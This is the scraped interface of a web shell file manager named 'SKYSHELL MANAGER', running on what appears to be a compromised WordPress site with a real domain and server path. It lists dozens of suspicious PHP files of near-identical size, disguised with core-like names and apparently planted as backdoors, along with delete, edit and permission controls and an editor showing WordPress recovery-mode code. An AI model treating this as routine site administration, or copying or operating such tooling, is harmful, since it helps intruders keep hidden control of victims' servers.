📁
SKYSHELL MANAGER-
🛒
PHP v8.3.30
Create Folder
Create File
Current Path:
home
/
xb189222
/
lifaintec.com
/
public_html
/
Name
Size
Permissions
Actions
📁
..
-
0711
🗑️
🔒
📁
wp-admin
-
0755
🗑️
🔒
📁
wp-content
-
0755
🗑️
🔒
📁
wp-includes
-
0755
🗑️
🔒
📄
.htaccess
1.55 KB
0755
🗑️
⬇️
✏️
🔒
📄
.user.ini
3.89 KB
0755
🗑️
⬇️
✏️
🔒
📄
about.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
class-avif-info.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-classic-to-block-menu-converter.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-config64.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-customize-setting.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-functions11.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-http-proxy.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-includes.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-load24.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-mail49.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-options59.php
7.08 KB
0644
🗑️
⬇️
✏️
🔒
📄
class-wp-theme-json-resolver.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
content.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
core-functions.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
core-load94.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
core-sidebar.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
default_page.png
37.91 KB
0755
🗑️
⬇️
✏️
🔒
📄
general-template.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
0.41 KB
0755
🗑️
⬇️
✏️
🔒
📄
llms.txt
1.7 KB
0755
🗑️
⬇️
✏️
🔒
📄
login.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
pluggable.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-admin.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-header89.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-media.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
plugin-query17.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-api10.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-bridge.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
post-mail88.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
radio.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0755
🗑️
⬇️
✏️
🔒
📄
rss-functions.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-admin.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-api.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-content57.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-content99.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-cron.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-index81.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-options35.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-previews.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-sidebar.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme-sidebar67.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
theme.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-bridge80.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-functions59.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-media.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-settings.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
user-sidebar23.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-bridge.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-config.php
3.54 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-cron.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-header62.php
7.09 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-headre.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-load.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-login.php
50.23 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-mail.php
7.11 KB
0444
🗑️
⬇️
✏️
🔒
📄
wp-mail24.php
7.11 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-settings.php
7.06 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0755
🗑️
⬇️
✏️
🔒
📄
wp-template50.php
7.06 KB
0644
🗑️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0755
🗑️
⬇️
✏️
🔒
📄
x.php
0 KB
0755
🗑️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0755
🗑️
⬇️
✏️
🔒
Editing: class-wp-recovery-mode-link-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Link_Handler class * * @package WordPress * @since 5.2.0 */ /** * Core class used to generate and handle recovery mode links. * * @since 5.2.0 */ #[AllowDynamicProperties] class WP_Recovery_Mode_Link_Service { const LOGIN_ACTION_ENTER = 'enter_recovery_mode'; const LOGIN_ACTION_ENTERED = 'entered_recovery_mode'; /** * Service to generate and validate recovery mode keys. * * @since 5.2.0 * @var WP_Recovery_Mode_Key_Service */ private $key_service; /** * Service to handle cookies. * * @since 5.2.0 * @var WP_Recovery_Mode_Cookie_Service */ private $cookie_service; /** * WP_Recovery_Mode_Link_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Cookie_Service $cookie_service Service to handle setting the recovery mode cookie. * @param WP_Recovery_Mode_Key_Service $key_service Service to handle generating recovery mode keys. */ public function __construct( WP_Recovery_Mode_Cookie_Service $cookie_service, WP_Recovery_Mode_Key_Service $key_service ) { $this->cookie_service = $cookie_service; $this->key_service = $key_service; } /** * Generates a URL to begin recovery mode. * * Only one recovery mode URL can may be valid at the same time. * * @since 5.2.0 * * @return string Generated URL. */ public function generate_url() { $token = $this->key_service->generate_recovery_mode_token(); $key = $this->key_service->generate_and_store_recovery_mode_key( $token ); return $this->get_recovery_mode_begin_url( $token, $key ); } /** * Enters recovery mode when the user hits wp-login.php with a valid recovery mode link. * * @since 5.2.0 * * @global string $pagenow The filename of the current screen. * * @param int $ttl Number of seconds the link should be valid for. */ public function handle_begin_link( $ttl ) { if ( ! isset( $GLOBALS['pagenow'] ) || 'wp-login.php' !== $GLOBALS['pagenow'] ) { return; } if ( ! isset( $_GET['action'], $_GET['rm_token'], $_GET['rm_key'] ) || self::LOGIN_ACTION_ENTER !== $_GET['action'] ) { return; } if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $validated = $this->key_service->validate_recovery_mode_key( $_GET['rm_token'], $_GET['rm_key'], $ttl ); if ( is_wp_error( $validated ) ) { wp_die( $validated, '' ); } $this->cookie_service->set_cookie(); $url = add_query_arg( 'action', self::LOGIN_ACTION_ENTERED, wp_login_url() ); wp_redirect( $url ); die; } /** * Gets a URL to begin recovery mode. * * @since 5.2.0 * * @param string $token Recovery Mode token created by {@see generate_recovery_mode_token()}. * @param string $key Recovery Mode key created by {@see generate_and_store_recovery_mode_key()}. * @return string Recovery mode begin URL. */ private function get_recovery_mode_begin_url( $token, $key ) { $url = add_query_arg( array( 'action' => self::LOGIN_ACTION_ENTER, 'rm_token' => $token, 'rm_key' => $key, ), wp_login_url() ); /** * Filters the URL to begin recovery mode. * * @since 5.2.0 * * @param string $url The generated recovery mode begin URL. * @param string $token The token used to identify the key. * @param string $key The recovery mode key. */ return apply_filters( 'recovery_mode_begin_url', $url, $token, $key ); } }
💾 Save Changes